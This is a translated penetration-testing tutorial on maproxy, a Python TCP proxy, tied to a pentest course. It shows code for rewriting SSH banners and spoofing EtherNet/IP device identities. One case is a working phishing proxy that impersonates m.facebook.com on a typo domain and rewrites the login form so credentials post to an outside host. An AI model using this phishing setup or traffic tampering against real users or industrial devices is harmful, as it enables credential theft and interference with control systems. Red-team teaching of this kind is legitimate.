Obradite mrežne podatke u hodu

Prijevod članka pripremljen je uoči početka kursa “Pentest. Praksa ispitivanja penetracije".

Obradite mrežne podatke u hodu

napomena

Različiti tipovi sigurnosnih procjena, u rasponu od redovnog testiranja penetracije i operacija Red Teama do hakovanja IoT/ICS uređaja i SCADA, uključuju rad s binarnim mrežnim protokolima, odnosno presretanje i modificiranje mrežnih podataka između klijenta i cilja. Njuškanje mrežnog saobraćaja nije težak zadatak jer imamo alate kao što su Wireshark, Tcpdump ili Scapy, ali izgleda da je modifikacija radno intenzivniji zadatak jer ćemo morati imati neku vrstu sučelja za čitanje mrežnih podataka, filtriranje, promjenu ga u hodu i pošaljite ga nazad ciljnom hostu u skoro realnom vremenu. Osim toga, bilo bi idealno kada bi takav alat mogao automatski raditi s više paralelnih veza i biti prilagodljiv pomoću skripti.

Jednog dana sam otkrio alat pod nazivom maproxy, dokumentacija mi je to brzo stavila do znanja maproxy – upravo ono što mi treba. Ovo je prilično jednostavan, svestran i lako podesiv TCP proxy. Testirao sam ovu alatku na nekoliko prilično složenih aplikacija, uključujući ICS uređaje (koji generišu mnogo paketa) da vidim da li može da se nosi sa mnogim paralelnim vezama, a alat se dobro pokazao.

Ovaj članak će vas upoznati s obradom mrežnih podataka u hodu pomoću maproxy.

pregled

Alat maproxy je baziran na Tornadu, popularnom i zrelom asinkronom mrežnom okviru u Pythonu.

Općenito, može raditi na nekoliko načina:

  • TCP:TCP – nešifrovane TCP veze;
  • TCP:SSL и SSL:TCP – sa jednosmjernom enkripcijom;
  • SSL:SSL – dvosmjerna enkripcija.

Dolazi kao biblioteka. Za brzi početak, možete koristiti primjere datoteka koje odražavaju glavnu funkcije biblioteke:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Slučaj 1 – jednostavan dvosmjerni proxy

Na osnovu tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

po defaultu ProxyServer() uzima dva argumenta – lokaciju veze i ciljni port. server.listen() uzima jedan argument - port za slušanje dolazne veze.

Izvršavanje skripte:

# python tcp2tcp.py

Da bismo pokrenuli test, spojit ćemo se na lokalni SSH server preko naše proxy skripte, koja sluša na 2222/tcp port i povezuje se na standardni port 22/tcp SSH serveri:

Obradite mrežne podatke u hodu

Baner dobrodošlice vas obavještava da je naš primjer skripte uspješno proxy mrežni promet.

Slučaj 2 – modifikacija podataka

Još jedan demo skript logging_proxy.py idealno za interakciju sa mrežnim podacima. Komentari u datoteci opisuju metode klase koje možete modificirati da biste postigli svoj cilj:

Obradite mrežne podatke u hodu

Najzanimljivije je ovdje:

  • on_c2p_done_read – presretanje podataka na putu od klijenta do servera;
  • on_p2s_done_read - obrnuto.

Pokušajmo promijeniti SSH baner koji server vraća klijentu:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Izvršite skriptu:

Obradite mrežne podatke u hodu

Kao što vidite, klijent je zaveden jer je ime SSH servera za njega promijenjeno u «DumnySSH».

Obradite mrežne podatke u hodu

Slučaj 3 – jednostavna phishing web stranica

Postoji bezbroj načina za korištenje ovog alata. Ovog puta hajde da se fokusiramo na nešto praktičnije sa operativne strane Crvenog tima. Imitirajmo odredišnu stranicu m.facebook.com i koristite prilagođenu domenu s namjernom greškom u kucanju, na primjer, m.facebok.com. U svrhu demonstracije, pretpostavimo da smo domenu registrovali.

Uspostavit ćemo nešifrovanu mrežnu vezu sa našim proxyjem žrtve i SSL Stream-om na Facebook server (31.13.81.36). Da bi ovaj primjer funkcionirao, moramo zamijeniti HTTP zaglavlje hosta i ubaciti ispravno ime hosta, a također ćemo onemogućiti kompresiju odgovora kako bismo mogli lako pristupiti sadržaju. Na kraju ćemo zamijeniti HTML obrazac tako da se akreditivi za prijavu šalju nama umjesto Facebookovim serverima:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/bs/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Kao rezultat:

Obradite mrežne podatke u hodu

Kao što vidite, uspjeli smo zamijeniti originalnu stranicu.

Slučaj 4 – Portiranje Ethernet/IP

Već neko vrijeme se bavim industrijskim uređajima i softverom (ICS/SCADA), poput programabilnih kontrolera (PLC), I/O modula, drajvova, releja, okruženja za programiranje ljestvica i još mnogo toga. Ovo kućište je za one koji vole industrijske stvari. Hakiranje takvih rješenja uključuje aktivno igranje s mrežnim protokolima. U sljedećem primjeru, želio bih pokazati kako možete modificirati ICS/SCADA mrežni promet.

Za ovo će vam trebati sljedeće:

  • Mrežni njuškalo, na primjer, Wireshark;
  • Ethernet/IP ili samo SIP uređaj, možete ga pronaći koristeći Shodan servis;
  • Naš scenario je zasnovan na maproxy.

Prvo, pogledajmo kako izgleda tipičan identifikacijski odgovor iz CIP-a (Common Industrial Protocol):

Obradite mrežne podatke u hodu

Identifikacija uređaja se postiže korištenjem Ethernet/IP protokola, koji je poboljšana verzija industrijskog Ethernet protokola koji obavija kontrolne protokole kao što je CIP. Promijenit ćemo označeno ID ime koje je vidljivo na snimku ekrana "NI-IndComm za Ethernet" koristeći našu proxy skriptu. Mogli bismo ponovo koristiti skriptu logging_proxy.py i na sličan način modificirati metodu klase on_p2s_done_read, jer želimo da različito ime identiteta bude vidljivo na klijentu.

Kod:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

U suštini, dva puta smo tražili identifikaciju uređaja, drugi odgovor je bio originalni, a prvi je izmijenjen u hodu.

I posljednje

Po mom mišljenju maproxy Zgodan i jednostavan alat, koji je također napisan na Pythonu, tako da vjerujem da i vi možete imati koristi od njegove upotrebe. Naravno, postoje složeniji alati za obradu i modificiranje mrežnih podataka, ali i oni zahtijevaju više pažnje i obično su kreirani za određeni slučaj upotrebe, npr. Muraena, Modlishka ili evilginx za slučajeve slične trećem, ili canape za poslednji slučaj. Na ovaj ili onaj način, uz pomoć maproxy možete brzo implementirati svoje ideje za presretanje mrežnih podataka, budući da su primjeri skripti vrlo jasni.

Testiranje mehanizama provjere autentičnosti u Windows AD

izvor: www.habr.com

Dodajte komentar